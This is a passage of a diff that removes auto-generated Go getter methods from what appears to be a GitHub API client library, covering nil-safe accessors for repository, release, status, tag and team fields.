Timestamp { - if r == nil || r.UpdatedAt == nil { - return Timestamp{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Repository) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetWatchersCount returns the WatchersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetWatchersCount() int { - if r == nil || r.WatchersCount == nil { - return 0 - } - return *r.WatchersCount -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetBody() string { - if r == nil || r.Body == nil { - return "" - } - return *r.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetCommitID() string { - if r == nil || r.CommitID == nil { - return "" - } - return *r.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetCreatedAt() time.Time { - if r == nil || r.CreatedAt == nil { - return time.Time{} - } - return *r.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetPosition() int { - if r == nil || r.Position == nil { - return 0 - } - return *r.Position -} - -// GetReactions returns the Reactions field. -func (r *RepositoryComment) GetReactions() *Reactions { - if r == nil { - return nil - } - return r.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetUpdatedAt() time.Time { - if r == nil || r.UpdatedAt == nil { - return time.Time{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetUser returns the User field. -func (r *RepositoryComment) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetAuthor returns the Author field. -func (r *RepositoryCommit) GetAuthor() *User { - if r == nil { - return nil - } - return r.Author -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetCommentsURL() string { - if r == nil || r.CommentsURL == nil { - return "" - } - return *r.CommentsURL -} - -// GetCommit returns the Commit field. -func (r *RepositoryCommit) GetCommit() *Commit { - if r == nil { - return nil - } - return r.Commit -} - -// GetCommitter returns the Committer field. -func (r *RepositoryCommit) GetCommitter() *User { - if r == nil { - return nil - } - return r.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetStats returns the Stats field. -func (r *RepositoryCommit) GetStats() *CommitStats { - if r == nil { - return nil - } - return r.Stats -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetDownloadURL returns the DownloadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetDownloadURL() string { - if r == nil || r.DownloadURL == nil { - return "" - } - return *r.DownloadURL -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetEncoding() string { - if r == nil || r.Encoding == nil { - return "" - } - return *r.Encoding -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetTarget returns the Target field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetTarget() string { - if r == nil || r.Target == nil { - return "" - } - return *r.Target -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetType() string { - if r == nil || r.Type == nil { - return "" - } - return *r.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetAuthor returns the Author field. -func (r *RepositoryContentFileOptions) GetAuthor() *CommitAuthor { - if r == nil { - return nil - } - return r.Author -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetBranch() string { - if r == nil || r.Branch == nil { - return "" - } - return *r.Branch -} - -// GetCommitter returns the Committer field. -func (r *RepositoryContentFileOptions) GetCommitter() *CommitAuthor { - if r == nil { - return nil - } - return r.Committer -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetMessage() string { - if r == nil || r.Message == nil { - return "" - } - return *r.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetContent returns the Content field. -func (r *RepositoryContentResponse) GetContent() *RepositoryContent { - if r == nil { - return nil - } - return r.Content -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryDispatchEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (r *RepositoryDispatchEvent) GetBranch() string { - if r == nil || r.Branch == nil { - return "" - } - return *r.Branch -} - -// GetInstallation returns the Installation field. -func (r *RepositoryDispatchEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetOrg returns the Org field. -func (r *RepositoryDispatchEvent) GetOrg() *Organization { - if r == nil { - return nil - } - return r.Org -} - -// GetRepo returns the Repo field. -func (r *RepositoryDispatchEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *RepositoryDispatchEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetInstallation returns the Installation field. -func (r *RepositoryEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetOrg returns the Org field. -func (r *RepositoryEvent) GetOrg() *Organization { - if r == nil { - return nil - } - return r.Org -} - -// GetRepo returns the Repo field. -func (r *RepositoryEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *RepositoryEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetInvitee returns the Invitee field. -func (r *RepositoryInvitation) GetInvitee() *User { - if r == nil { - return nil - } - return r.Invitee -} - -// GetInviter returns the Inviter field. -func (r *RepositoryInvitation) GetInviter() *User { - if r == nil { - return nil - } - return r.Inviter -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetPermissions() string { - if r == nil || r.Permissions == nil { - return "" - } - return *r.Permissions -} - -// GetRepo returns the Repo field. -func (r *RepositoryInvitation) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetContent() string { - if r == nil || r.Content == nil { - return "" - } - return *r.Content -} - -// GetDownloadURL returns the DownloadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetDownloadURL() string { - if r == nil || r.DownloadURL == nil { - return "" - } - return *r.DownloadURL -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetEncoding() string { - if r == nil || r.Encoding == nil { - return "" - } - return *r.Encoding -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetLicense returns the License field. -func (r *RepositoryLicense) GetLicense() *License { - if r == nil { - return nil - } - return r.License -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetType() string { - if r == nil || r.Type == nil { - return "" - } - return *r.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetBase returns the Base field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetBase() string { - if r == nil || r.Base == nil { - return "" - } - return *r.Base -} - -// GetCommitMessage returns the CommitMessage field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetCommitMessage() string { - if r == nil || r.CommitMessage == nil { - return "" - } - return *r.CommitMessage -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetHead() string { - if r == nil || r.Head == nil { - return "" - } - return *r.Head -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (r *RepositoryPermissionLevel) GetPermission() string { - if r == nil || r.Permission == nil { - return "" - } - return *r.Permission -} - -// GetUser returns the User field. -func (r *RepositoryPermissionLevel) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetAssetsURL returns the AssetsURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetAssetsURL() string { - if r == nil || r.AssetsURL == nil { - return "" - } - return *r.AssetsURL -} - -// GetAuthor returns the Author field. -func (r *RepositoryRelease) GetAuthor() *User { - if r == nil { - return nil - } - return r.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetBody() string { - if r == nil || r.Body == nil { - return "" - } - return *r.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetDraft() bool { - if r == nil || r.Draft == nil { - return false - } - return *r.Draft -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetPrerelease returns the Prerelease field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetPrerelease() bool { - if r == nil || r.Prerelease == nil { - return false - } - return *r.Prerelease -} - -// GetPublishedAt returns the PublishedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetPublishedAt() Timestamp { - if r == nil || r.PublishedAt == nil { - return Timestamp{} - } - return *r.PublishedAt -} - -// GetTagName returns the TagName field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTagName() string { - if r == nil || r.TagName == nil { - return "" - } - return *r.TagName -} - -// GetTarballURL returns the TarballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTarballURL() string { - if r == nil || r.TarballURL == nil { - return "" - } - return *r.TarballURL -} - -// GetTargetCommitish returns the TargetCommitish field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTargetCommitish() string { - if r == nil || r.TargetCommitish == nil { - return "" - } - return *r.TargetCommitish -} - -// GetUploadURL returns the UploadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetUploadURL() string { - if r == nil || r.UploadURL == nil { - return "" - } - return *r.UploadURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetZipballURL returns the ZipballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetZipballURL() string { - if r == nil || r.ZipballURL == nil { - return "" - } - return *r.ZipballURL -} - -// GetCommit returns the Commit field. -func (r *RepositoryTag) GetCommit() *Commit { - if r == nil { - return nil - } - return r.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetTarballURL returns the TarballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetTarballURL() string { - if r == nil || r.TarballURL == nil { - return "" - } - return *r.TarballURL -} - -// GetZipballURL returns the ZipballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetZipballURL() string { - if r == nil || r.ZipballURL == nil { - return "" - } - return *r.ZipballURL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryVulnerabilityAlertEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetForkRepos returns the ForkRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetForkRepos() int { - if r == nil || r.ForkRepos == nil { - return 0 - } - return *r.ForkRepos -} - -// GetOrgRepos returns the OrgRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetOrgRepos() int { - if r == nil || r.OrgRepos == nil { - return 0 - } - return *r.OrgRepos -} - -// GetRootRepos returns the RootRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetRootRepos() int { - if r == nil || r.RootRepos == nil { - return 0 - } - return *r.RootRepos -} - -// GetTotalPushes returns the TotalPushes field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalPushes() int { - if r == nil || r.TotalPushes == nil { - return 0 - } - return *r.TotalPushes -} - -// GetTotalRepos returns the TotalRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalRepos() int { - if r == nil || r.TotalRepos == nil { - return 0 - } - return *r.TotalRepos -} - -// GetTotalWikis returns the TotalWikis field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalWikis() int { - if r == nil || r.TotalWikis == nil { - return 0 - } - return *r.TotalWikis -} - -// GetContext returns the Context field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetContext() string { - if r == nil || r.Context == nil { - return "" - } - return *r.Context -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetCreatedAt() time.Time { - if r == nil || r.CreatedAt == nil { - return time.Time{} - } - return *r.CreatedAt -} - -// GetCreator returns the Creator field. -func (r *RepoStatus) GetCreator() *User { - if r == nil { - return nil - } - return r.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetDescription() string { - if r == nil || r.Description == nil { - return "" - } - return *r.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetState() string { - if r == nil || r.State == nil { - return "" - } - return *r.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetTargetURL() string { - if r == nil || r.TargetURL == nil { - return "" - } - return *r.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetUpdatedAt() time.Time { - if r == nil || r.UpdatedAt == nil { - return time.Time{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetStrict returns the Strict field if it's non-nil, zero value otherwise. -func (r *RequiredStatusChecksRequest) GetStrict() bool { - if r == nil || r.Strict == nil { - return false - } - return *r.Strict -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *ReviewersRequest) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *ServiceHook) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetEnabled returns the Enabled field if it's non-nil, zero value otherwise. -func (s *SignaturesProtectedBranch) GetEnabled() bool { - if s == nil || s.Enabled == nil { - return false - } - return *s.Enabled -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *SignaturesProtectedBranch) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetPayload returns the Payload field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetPayload() string { - if s == nil || s.Payload == nil { - return "" - } - return *s.Payload -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetReason() string { - if s == nil || s.Reason == nil { - return "" - } - return *s.Reason -} - -// GetSignature returns the Signature field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetSignature() string { - if s == nil || s.Signature == nil { - return "" - } - return *s.Signature -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetVerified() bool { - if s == nil || s.Verified == nil { - return false - } - return *s.Verified -} - -// GetActor returns the Actor field. -func (s *Source) GetActor() *User { - if s == nil { - return nil - } - return s.Actor -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *Source) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetIssue returns the Issue field. -func (s *Source) GetIssue() *Issue { - if s == nil { - return nil - } - return s.Issue -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (s *Source) GetType() string { - if s == nil || s.Type == nil { - return "" - } - return *s.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *Source) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetEmail() string { - if s == nil || s.Email == nil { - return "" - } - return *s.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetImportURL returns the ImportURL field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetImportURL() string { - if s == nil || s.ImportURL == nil { - return "" - } - return *s.ImportURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetRemoteID returns the RemoteID field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetRemoteID() string { - if s == nil || s.RemoteID == nil { - return "" - } - return *s.RemoteID -} - -// GetRemoteName returns the RemoteName field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetRemoteName() string { - if s == nil || s.RemoteName == nil { - return "" - } - return *s.RemoteName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (s *StarEvent) GetAction() string { - if s == nil || s.Action == nil { - return "" - } - return *s.Action -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *StarEvent) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *Stargazer) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetUser returns the User field. -func (s *Stargazer) GetUser() *User { - if s == nil { - return nil - } - return s.User -} - -// GetRepository returns the Repository field. -func (s *StarredRepository) GetRepository() *Repository { - if s == nil { - return nil - } - return s.Repository -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *StarredRepository) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetCommit returns the Commit field. -func (s *StatusEvent) GetCommit() *RepositoryCommit { - if s == nil { - return nil - } - return s.Commit -} - -// GetContext returns the Context field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetContext() string { - if s == nil || s.Context == nil { - return "" - } - return *s.Context -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetCreatedAt() Timestamp { - if s == nil || s.CreatedAt == nil { - return Timestamp{} - } - return *s.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetDescription() string { - if s == nil || s.Description == nil { - return "" - } - return *s.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetInstallation returns the Installation field. -func (s *StatusEvent) GetInstallation() *Installation { - if s == nil { - return nil - } - return s.Installation -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetRepo returns the Repo field. -func (s *StatusEvent) GetRepo() *Repository { - if s == nil { - return nil - } - return s.Repo -} - -// GetSender returns the Sender field. -func (s *StatusEvent) GetSender() *User { - if s == nil { - return nil - } - return s.Sender -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetSHA() string { - if s == nil || s.SHA == nil { - return "" - } - return *s.SHA -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetState() string { - if s == nil || s.State == nil { - return "" - } - return *s.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetTargetURL() string { - if s == nil || s.TargetURL == nil { - return "" - } - return *s.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetUpdatedAt() Timestamp { - if s == nil || s.UpdatedAt == nil { - return Timestamp{} - } - return *s.UpdatedAt -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (s *Subscription) GetCreatedAt() Timestamp { - if s == nil || s.CreatedAt == nil { - return Timestamp{} - } - return *s.CreatedAt -} - -// GetIgnored returns the Ignored field if it's non-nil, zero value otherwise. -func (s *Subscription) GetIgnored() bool { - if s == nil || s.Ignored == nil { - return false - } - return *s.Ignored -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (s *Subscription) GetReason() string { - if s == nil || s.Reason == nil { - return "" - } - return *s.Reason -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetRepositoryURL() string { - if s == nil || s.RepositoryURL == nil { - return "" - } - return *s.RepositoryURL -} - -// GetSubscribed returns the Subscribed field if it's non-nil, zero value otherwise. -func (s *Subscription) GetSubscribed() bool { - if s == nil || s.Subscribed == nil { - return false - } - return *s.Subscribed -} - -// GetThreadURL returns the ThreadURL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetThreadURL() string { - if s == nil || s.ThreadURL == nil { - return "" - } - return *s.ThreadURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (t *Tag) GetMessage() string { - if t == nil || t.Message == nil { - return "" - } - return *t.Message -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *Tag) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetObject returns the Object field. -func (t *Tag) GetObject() *GitObject { - if t == nil { - return nil - } - return t.Object -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *Tag) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetTag returns the Tag field if it's non-nil, zero value otherwise. -func (t *Tag) GetTag() string { - if t == nil || t.Tag == nil { - return "" - } - return *t.Tag -} - -// GetTagger returns the Tagger field. -func (t *Tag) GetTagger() *CommitAuthor { - if t == nil { - return nil - } - return t.Tagger -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Tag) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetVerification returns the Verification field. -func (t *Tag) GetVerification() *SignatureVerification { - if t == nil { - return nil - } - return t.Verification -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *Team) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Team) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (t *Team) GetLDAPDN() string { - if t == nil || t.LDAPDN == nil { - return "" - } - return *t.LDAPDN -} - -// GetMembersCount returns the MembersCount field if it's non-nil, zero value otherwise. -func (t *Team) GetMembersCount() int { - if t == nil || t.MembersCount == nil { - return 0 - } - return *t.MembersCount -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (t *Team) GetMembersURL() string { - if t == nil || t.MembersURL == nil { - return "" - } - return *t.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *Team) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *Team) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetOrganization returns the Organization field. -func (t *Team) GetOrganization() *Organization { - if t == nil { - return nil - } - return t.Organization -} - -// GetParent returns the Parent field. -func (t *Team) GetParent() *Team { - if t == nil { - return nil - } - return t.Parent -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *Team) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (t *Team) GetPrivacy() string { - if t == nil || t.Privacy == nil { - return "" - } - return *t.Privacy -} - -// GetReposCount returns the ReposCount field if it's non-nil, zero value otherwise. -func (t *Team) GetReposCount() int { - if t == nil || t.ReposCount == nil { - return 0 - } - return *t.ReposCount -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value 